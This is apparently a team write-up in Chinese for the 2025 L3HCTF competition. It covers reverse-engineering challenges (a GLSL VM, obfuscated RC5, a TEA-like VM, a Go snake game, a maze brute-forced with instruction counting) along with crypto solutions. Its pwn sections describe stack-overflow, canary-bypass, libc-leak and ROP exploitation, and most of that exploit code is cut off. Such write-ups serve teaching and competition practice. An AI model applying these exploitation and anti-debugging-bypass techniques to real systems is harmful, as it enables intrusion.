0x66, 0x4C, 0x37, 0x21, 0x09, 0x2F, 0x01, 0x6D, 0x66, 0x7A, 0x59, 0x76, 0x12, 0x11, 0x67, 0x76, 0x4B, 0x11, 0x78, 0x45, 0x64, 0x3F, 0x6B, 0x58, 0x76, 0x79, 0x57, 0x79, 0x77, 0x58, 0x41, 0x44, 0x76, 0x66, 0x53, 0x41, 0x25, 0x05, 0x1A, 0x32, 0x66, 0x77, 0x06, 0x6C, 0x67, 0x58, 0x4B, 0x73, 0x11, 0x69, 0x58, 0x74, 0x4E, 0x6E, 0x78, 0x42, 0x66, 0x0B, 0x52, 0x7A, 0x77, 0x54, 0x66, 0x45, 0x66, 0x7A, 0x53, 0x75, 0x4B, 0x44, 0x74, 0x6D, 0x4B, 0x11, 0x15, 0x3F, 0x29, 0x00, 0x41, 0x3B, 0x76, 0x77, 0x54, 0x26, 0x1F, 0x58, 0x39, 0x09, 0x07, 0x36, 0x2D, 0x2E, 0x37, 0x01, 0x4C, 0x4E, 0x1F, 0x14, 0x29, 0x5F, 0x4C, 0x6E, 0x6E, 0x76, 0x4E, 0x62, 0x79, 0x76, 0x4D, 0x10, 0x11, 0x72, 0x11, 0x75, 0x59, 0x73, 0x4B, 0x0D, 0x36, 0x16, 0x66, 0x2B, 0x76, 0x6B, 0x4E, 0x03, 0x23, 0x34, 0x25, 0x39, 0x0A, 0x36, 0x0C, 0x00, 0x0B, 0x39, 0x6A, 0x7F, 0x09, 0x27, 0x36, 0x6E, 0x3F, 0x75, 0x10, 0x11, 0x69, 0x71, 0x78, 0x44, 0x77, 0x41, 0x12, 0x71, 0x57, 0x76, 0x4A, 0x66, 0x41, 0x24, 0x32, 0x2F, 0x11, 0x09, 0x19, 0x2E, 0x08, 0x26, 0x53, 0x33, 0x24, 0x26, 0x46, 0x1E, 0x2A, 0x76, 0x0F, 0x6E, 0x1A, 0x3B, 0x18, 0x7E, 0x32, 0x42, 0x7B, 0x4D, 0x53, 0x37, 0x44, 0x43, 0x7D, 0x6D, 0x66, 0x71, 0x58, 0x7A, 0x67, 0x19, 0x75, 0x42, 0x75, 0x76, 0x15, 0x7A, 0x68, 0x50, 0x63, 0x35, 0x34, 0x3C, 0x1B, 0x3E, 0x56, 0x62, 0x7A, 0x45, 0x4B, 0x7A, 0x48, 0x79, 0x5A, 0x66, 0x41, 0x43, 0x76, 0x44, 0x09, 0x68, 0x4C, 0x6E, 0x78, 0x72, 0x4B, 0x50, 0x79, 0x76, 0x11, 0x7A, 0x4B, 0x6D, 0x67, 0x32, 0x18, 0x26, 0x0B, 0x6E, 0x67, 0x54, 0x7D, 0x62, 0x53, 0x75, 0x10, 0x44, 0x73, 0x76, 0x76, 0x7A, 0x51, 0x71, 0x4E, 0x44, 0x28, 0x47, 0x76, 0x50, 0x69, 0x74, 0x76, 0x43, 0x15, 0x41, 0x66, 0x7A, 0x53, 0x43, 0x66, 0x4C, 0x41, 0x73, 0x2A, 0x2D, 0x23, 0x3A, 0x4A, 0x25, 0x20, 0x76, 0x6B, 0x66, 0x2D, 0x13, 0x33, 0x01, 0x68, 0x58, 0x76, 0x50, 0x16, 0x76, 0x4D, 0x50, 0x67, 0x73, 0x11, 0x44, 0x77, 0x43, 0x65, 0x44, 0x76, 0x42, 0x31, 0x17, 0x02, 0x76, 0x45, 0x1D, 0x19, 0x10, 0x4C, 0x33, 0x53, 0x67, 0x64, 0x62, 0x6C, 0x41, 0x13, 0x66, 0x64, 0x75, 0x03, 0x42, 0x50, 0x41, 0x3F, 0x61, 0x5F, 0x7C, 0x66, 0x4C, 0x7A, 0x42, 0x74, 0x66, 0x74, 0x76, 0x10, 0x7A, 0x77, 0x44, 0x67, 0x72, 0x68, 0x72, 0x4B, 0x4E, 0x5D, 0x42, 0x78, 0x71, 0x5A, 0x76, 0x12, 0x54, 0x4F, 0x74, 0x12, 0x66, 0x77, 0x73, 0x4E, 0x6E, 0x4A, 0x72, 0x4D, 0x72, 0x41, 0x3D, 0x33, 0x44, 0x47, 0x3E, 0x45, 0x3B, 0x12, 0x3A, 0x07, 0x0C, 0x36, 0x39, 0x0A, 0x6E, 0x23, 0x0B, 0x12, 0x59, 0x56, 0x75, 0x19, 0x29, 0x3F, 0x26, 0x02, 0x37, 0x25, 0x39, 0x31, 0x1F, 0x68, 0x78, 0x4A, 0x78, 0x7F, 0x7F, 0x18, 0x5C, 0x55, 0x74, 0x4C, 0x6E, 0x49, 0x72, 0x11, 0x6A, 0x75, 0x76, 0x77, 0x58, 0x77, 0x76, 0x4B, 0x11, 0x72, 0x70, 0x74, 0x10, 0x46, 0x76, 0x67, 0x10, 0x58, 0x44, 0x11, 0x6E, 0x54, 0x75, 0x78, 0x4C, 0x77, 0x41, 0x11, 0x50, 0x70, 0x76, 0x4C, 0x44, 0x4F, 0x76, 0x66, 0x4C, 0x75, 0x73, 0x4C, 0x21, 0x01, 0x76, 0x51, 0x7A, 0x1F, 0x37, 0x5E, 0x42, 0x22, 0x6D, 0x4B, 0x3B, 0x78, 0x45, 0x64, 0x62, 0x41, 0x72, 0x76, 0x79, 0x57, 0x79, 0x77, 0x58, 0x41, 0x44, 0x76, 0x66, 0x53, 0x41, 0x66, 0x44, 0x49, 0x77, 0x66, 0x66, 0x51, 0x24, 0x08, 0x19, 0x00, 0x68, 0x11, 0x43, 0x58, 0x74, 0x4E, 0x6E, 0x78, 0x42, 0x66, 0x50, 0x78, 0x7A, 0x77, 0x54, 0x66, 0x45, 0x66, 0x7A, 0x53, 0x75, 0x4B, 0x44, 0x29, 0x47, 0x4B, 0x11, 0x15, 0x76, 0x67, 0x54, 0x41, 0x79, 0x76, 0x6A, 0x54, 0x75, 0x4B, 0x19, 0x7A, 0x42, 0x25, 0x58, 0x6C, 0x7A, 0x76, 0x7A, 0x41, 0x43, 0x4C, 0x44, 0x54, 0x44, 0x66, 0x6E, 0x6E, 0x76, 0x4E, 0x62, 0x2F, 0x33, 0x1F, 0x54, 0x58, 0x31, 0x45, 0x75, 0x44, 0x73, 0x04, 0x0F, 0x78, 0x5D, 0x66, 0x7B, 0x76, 0x6C, 0x4E, 0x5D, 0x66, 0x6E, 0x4C, 0x72, 0x75, 0x72, 0x4D, 0x54, 0x4A, 0x42, 0x67, 0x72, 0x5A, 0x77, 0x4B, 0x75, 0x15, 0x75, 0x10, 0x43, 0x2C, 0x25, 0x2D, 0x16, 0x39, 0x5A, 0x38, 0x71, 0x57, 0x76, 0x4A, 0x66, 0x41, 0x77, 0x66, 0x6E, 0x52, 0x42, 0x66, 0x37, 0x63, 0x58, 0x12, 0x48, 0x77, 0x76, 0x4D, 0x15, 0x57, 0x76, 0x12, 0x6E, 0x53, 0x75, 0x0F, 0x37, 0x20, 0x07, 0x66, 0x41, 0x4B, 0x6F, 0x67, 0x58, 0x57, 0x6D, 0x66, 0x71, 0x58, 0x7A, 0x67, 0x19, 0x75, 0x42, 0x75, 0x2D, 0x3F, 0x7A, 0x68, 0x50, 0x63, 0x77, 0x66, 0x79, 0x5A, 0x75, 0x4D, 0x48, 0x7A, 0x45, 0x4B, 0x7A, 0x48, 0x30, 0x14, 0x32, 0x41, 0x00, 0x76, 0x59, 0x54, 0x11, 0x32, 0x2F, 0x3B, 0x39, 0x34, 0x14, 0x38, 0x22, 0x50, 0x01, 0x46, 0x60, 0x34, 0x21, 0x24, 0x6E, 0x64, 0x6E, 0x76, 0x42, 0x67, 0x48, 0x53, 0x75, 0x10, 0x44, 0x73, 0x76, 0x76, 0x7A, 0x51, 0x71, 0x4E, 0x0D, 0x35, 0x6D, 0x7E, 0x13, 0x69, 0x69, 0x6B, 0x43, 0x05, 0x48, 0x66, 0x33, 0x03, 0x43, 0x7B, 0x4C, 0x14, 0x3A, 0x26, 0x36, 0x64, 0x37, 0x18, 0x2D, 0x62, 0x6D, 0x5C, 0x66, 0x79, 0x41, 0x66, 0x44, 0x73, 0x72, 0x76, 0x50, 0x16, 0x76, 0x4D, 0x50, 0x67, 0x73, 0x11, 0x06, 0x25, 0x06, 0x24, 0x0F, 0x6D, 0x68, 0x77, 0x58, 0x50, 0x76, 0x4D, 0x54, 0x57, 0x44, 0x4C, 0x7A, 0x53, 0x7A, 0x39, 0x58, 0x5D, 0x41, 0x5A, 0x66, 0x78, 0x75, 0x12, 0x54, 0x4B, 0x41, 0x76, 0x6A, 0x54, 0x31, 0x09, 0x0A, 0x3B, 0x17, 0x38, 0x32, 0x6E, 0x5C, 0x10, 0x7A, 0x77, 0x44, 0x67, 0x72, 0x68, 0x72, 0x4B, 0x15, 0x77, 0x42, 0x78, 0x71, 0x5A, 0x76, 0x44, 0x11, 0x1D, 0x30, 0x5B, 0x25, 0x23, 0x73, 0x53, 0x6E, 0x5F, 0x62, 0x5D, 0x69, 0x6B, 0x74, 0x75, 0x44, 0x4F, 0x6D, 0x11, 0x7A, 0x51, 0x71, 0x78, 0x48, 0x77, 0x6D, 0x4B, 0x15, 0x6A, 0x24, 0x57, 0x0C, 0x1E, 0x27, 0x5F, 0x71, 0x5C, 0x76, 0x4A, 0x72, 0x77, 0x42, 0x78, 0x62, 0x68, 0x28, 0x60, 0x40, 0x6F, 0x76, 0x11, 0x76, 0x55, 0x74, 0x4C, 0x6E, 0x00, 0x22, 0x1A, 0x77, 0x67, 0x6D, 0x5D, 0x58, 0x77, 0x76, 0x4B, 0x4C, 0x58, 0x70, 0x74, 0x10, 0x1D, 0x20, 0x08, 0x42, 0x1C, 0x0D, 0x52, 0x3A, 0x54, 0x68, 0x78, 0x59, 0x67, 0x50, 0x0A, 0x7A, 0x2D, 0x5C, 0x00, 0x00] |
解得GL虚拟机实现代码:
1 | #version 430 core |
分析虚拟机的字节码的作用如下:
2, x → PUSH co_consts[x]
7, 0 → ADD
8, 0 → SUB
14, 0 → XOR
15 ,x→CMP_EQ (y == x)
16 → CHECK(对前16个栈值与 cipher-20 比较)
18,addr→ JMP_IF_ZERO addr
由开头的layout可以对应到源程序里的初始化区域
向上继续溯源可以找到真正初始化数据的位置
提出来所有的opcodes,如下:
1 | 2,0, |
解析一下每一组的操作
2,0, //PUSH co_consts[0]
2,1, // PUSH co_consts[1]
14,0, // XOR
2,16, // PUSH co_consts[16]
8,0 // SUB
最后的比较是和cipher[i]-20进行比较
最后可以写出exp如下:
1 | CIPHER = [0xF3, 0x82, 0x06, 0x1FD, 0x150, 0x38, 0xB2, 0xDE, 0x15A, 0x197, 0x9C, 0x1D7, 0x6E, 0x28, 0x146, |
obfuscate
ida反编译错误,main有爆红,不用管直接分析其他函数,分别找到如下函数
首先是3处反调试
- ptrace
1 | __int64 sub_7E20() |
- 读取文件Tracerid值(动调跟进解密后的字符串可以看到Tracerid)
1 | __int64 __fastcall sub_7EC0(char *a1) |
- getpid
1 | unsigned __int64 sub_8030() |
一个个force jmp或者nop后patch即可动调
比较函数
1 | int __fastcall sub_6180(__int64 a1) |
以及两个混淆比较厉害的加密函数(分析可知是rc5加密),可以借助ida9自带的goomba插件解除部分混淆,右键
De-obfuscate即可,但是得到的函数依然存在很多逻辑混淆
比如恒真恒假跳转
1 | if ( unk_B1C8 < 10 && unk_B1C8 >= 10 ) // 恒假 |
减1
1 | *v37 - 1067854539 + 1067854538 // 等价于*v37 - 1 |
异或
1 | *v24 & 0xAE4094B7 | ~*v24 & 0x51BF6B48 // 等价于*v24^0x51BF6B48 |
偶数次异或相同值不变
1 | (*v24 & 0xAE4094B7 | ~*v24 & 0x51BF6B48) ^ (*v23 & 0xAE4094B7 | ~*v23 & 0x51BF6B48) // 等价于*v24^*v23 |
或
1 | v9 ^ v8 | v9 & v8 // 等价于v9|v8 |
最后可以得到两份干净简洁的伪代码交给gemini分析下
1 | __int64 __fastcall sub_555555555250(__int64 a1, __int64 a2) |
分析可知是RC5的密钥扩展和加密函数,其中加密函数地方做了魔改,对在轮加密种A多异或了B,解密脚本如下
还有个很坑的点卡了很久,密钥是cleWtemoH3Lo!FTC
,而不是 WelcometoL3HCTF! ,正好是后者小端存储形式的字符串(需要动调去密钥扩展里看从内存里读取的到底是什么值)
1 | import struct |
easyvm
调试可以发现是类tea加密,8字节一组变化
最开始做复杂了一点点去分析VM里每个指令的作用并试图模拟,最后才想到直接ida下条件断点在重要运算指令上即可,把两个操作数打印下就知道每一步计算都做了什么
找到vm计算指令的位置(tea中主要为add、sub、xor、shl、shr),简单写下idapython脚本,以此来模拟trace获得加密log
1 | import idc, idaapi |
log取一轮加密来分析
1 | shl 0x32323232, 0x3 = 0x91919190 |
可以看到三个密钥0xa56babcd、0xffffffff、0xabcdef01以及delta=0x11223344
往后分析看所有轮加密完total做了什么,可以发现下一组加密8字节用的total值是上一组结束后的total值
1 | add 0x11223344, 0x488cd100 = 0x59af0444 // 上一组total |
搞懂加密逻辑直接开逆
1 | from ctypes import c_uint32 |
得到9c50d10ba864bedfb37d7efa4e110bf2
snake
无符号的go实现的贪吃蛇游戏,直接读逻辑十分困难,然后有反调试,无法正常进行调试
搜索得到原游戏项目:https://github.com/stable-online/golang_snake?tab=readme-ov-file
Git clone一份源码然后编译出snake.exe,然后尝试bindiff恢复符号表,效果并不是很好,但是可以作为一个参考的依据。
寻找定位到得分判断逻辑
发现是得分要到100,但是尝试修改得分要求后程序会卡住,往下理逻辑找到了一个xxtea解密的实现
分析之间的层次关系发现分数的改变对于xxtea的密钥会产生影响,那么思路想到去寻找得分的逻辑
利用编译好的原游戏文件辅助定位找到了move逻辑,其中有rc4生成随机的金币位置
寻找到加分的逻辑
现在有条件限制吃到金币之后可以得分,那么我们把这个限制条件nop取消,就可以实现随时间增加自动加分
nop掉这里的cmp逻辑即可,然后重新运行程序得到flag(会随机触发不稳定的反调试,多跑几次即可)
L3HCTF{ad4d5916-9697-4219-af06-014959c2f4c9}
AWayOut2
ida反编译根本看不懂只在后面爆破的时候拐回来才看到有个hjkl的判断,很明显迷宫四个方向键
由于太难分析控制流因此我用pintool进行爆破,观察到输入结果和对应指令数如下
1 | a 419744191 |
可以发现输入正确的指令数会和输入不是hjkl指令数相差较小,而其他的指令数绝对值差都大于1000,因此可以逐位进行爆破,使用DFS遍历所有可能
由于输入后返回结果时间较长,不使用多线程爆破时间太长了,因此我写了份基本单线程脚本
1 | import os |
上面的是最基础的脚本,后面多线程发现了更多bug
- 要限制方向,不能跑反方向,比如你之前向右走了你下一步不能再向左了,中午跑的时候还没发现,下午才发现结果里不停的jkjkjk
- timeout加得大大的,越往后越慢,出现了好几次获取指令数为-1,直接把我dfs搞乱了,跑了一下午才发现出错了,赶紧把跑出来的路径打印出来,果然出现了一些很不合理的路径如下,还好前面的都没问题不至于再从头开始跑
- threshold指令差值应该看绝对值,最开始爆破时候没发现l方向完指令数增大,导致做差出现负数,所以一直没有l方向
- 要有一个错误基准,因此设置了一个{输入,后续输入4个方向和输入{指令数进行比较,绝对值差在1000以内是可以走的方向
爆破脚本如下,借助了pwntool实现了自动化爆破
1 | #!/usr/bin/env python3 |
跑到最后基本就看出来路径没问题了
正确路径为lljjljjhhjjjjjllkkkllljjlljjjhhhhhhjjjjjlljjhhhjjjjlllkklllllkkkllkkkklkllllljjjlllllklllllljjjhhhjjjljjllljjhhjjljjlj
md5后即为flag
Pwn
Heack
漏洞在 fight_dragon 有个明显的stack溢出,可以通过修改 v3 来如果 canary,然后修改返回地址
fight_dragon 返回时 rsi 是一个libc 地址 ,1/16 概率 把返回地址改到这里,可以直接泄露 libc,
有了libc 后 再次利用 fight_dragon 栈溢出 写 rop 即可
1 | from pwn import * |
Heack_revenge
fight_dragon 被修复了,但没完全修复,仍然存在 溢出,只不过只能修改返回地址的一个字节
写个脚本把在 0x18xx 这段里的gadget 都找出来看看,有没有可以利用的
1 | from pwn import * |
有个 pop rbp
恰好下面就是 heap地址,后继续运行程序并没有出错
后面执行 note_system 可以看到 note_list[] 也在堆上了
需要在heap 上提前布局,然后泄露 heap 地址, game 函数 return 时 rsp 也在 heap 上(后面再堆风水,修改stack 进行rop)
1 | from pwn import * |
Library
漏洞在功能3,没有限制 page 的索引,可以任意偏移写
本地测试发现 编辑写入的数据所在的段有两种情况,在heap 下面的时候, 他会和其他线程的stack 地址有固定偏移
后面直接写rop 就行了,elf 里面gadget 足够用了,还有 syscall
1 | from pwn import * |
Crypto
math_problem
1 | import gmpy2 |
给出的数据有 $n=pqr$,$hint_1=R \cdot r$,$hint_2 \equiv (3n+1)^{p\bmod{2^{400}}} \pmod{n^3}$,显然有 $gcd(n,hint_1)=r$,猜测flag不大的情况下直接在模 $n$ 下就能解出flag:
1 | from Crypto.Util.number import * |
对于 $\text{hint}_1$,设 $p_l \equiv p \pmod{2^{400}}$,那么通过二项式定理展开整理可以得到:
$\text{hint}_2 \equiv 1 + p_l \cdot 3n + \frac{p_l(p_l-1)}{2}(3n)^2 \pmod{n^3}$
模 $n^2$ 可以更进一步得到:
$\text{hint}_2 \equiv 1 + p_l \cdot 3n \pmod{n^2}$
显然的,$p_l \cdot 3n + 1 = \text{hint}_2 \bmod n^2$,也就是说我们可以通过下式直接得到 $p$ 的低400位 $p_l$:
$p_l = \frac{\text{hint}_2 \bmod n^2 - 1}{3n}$
通过 Coppersmith 就可以还原出完整的 $p$ 了。
1 | # sage |
RRRSSSAAA
为了解密给定的密文,我们需要从公钥中恢复私钥。公钥包括模数 N 和指数 e,其中 e是通过一个自定义过程生成的。分析发现,私钥指数 $d$ 可以表示为 $d=\phi-d_{small}$,其中 $\phi=(p^4-1)(q^4-1)$,且 $d_{small}$ 是一个 1021 位的小整数。通过连分数方法,可以从 e 和 $N^4$ 的比值中恢复 $d_{small}$。然后,解密过程简化为计算 $c^{-d_{small}} \bmod N$。
所以首先计算 $N^4$,然后对有理数 $e/N^4$ 进行连分数展开,并遍历其渐近分数。对于每个渐近分数,检查分母的位长度是否为 1021 位(即 $2^{1020} \leq 分母 < 2^{1021}$),随后对每个候选 $d_{small}$,尝试解密。
计算 $c$ 在模 $N$ 下的逆元,将 $m$ 转换为字节序列,检查是否包含 “L3H”的内容。
1 | from sage.all import * |
EzECDSA
简单的密码题,把附件丢给gemini然后给出解题脚本即可,一次可能不行,让他修改优化即可
1 | import hashlib |
2025 L3HCTF SU WriteUp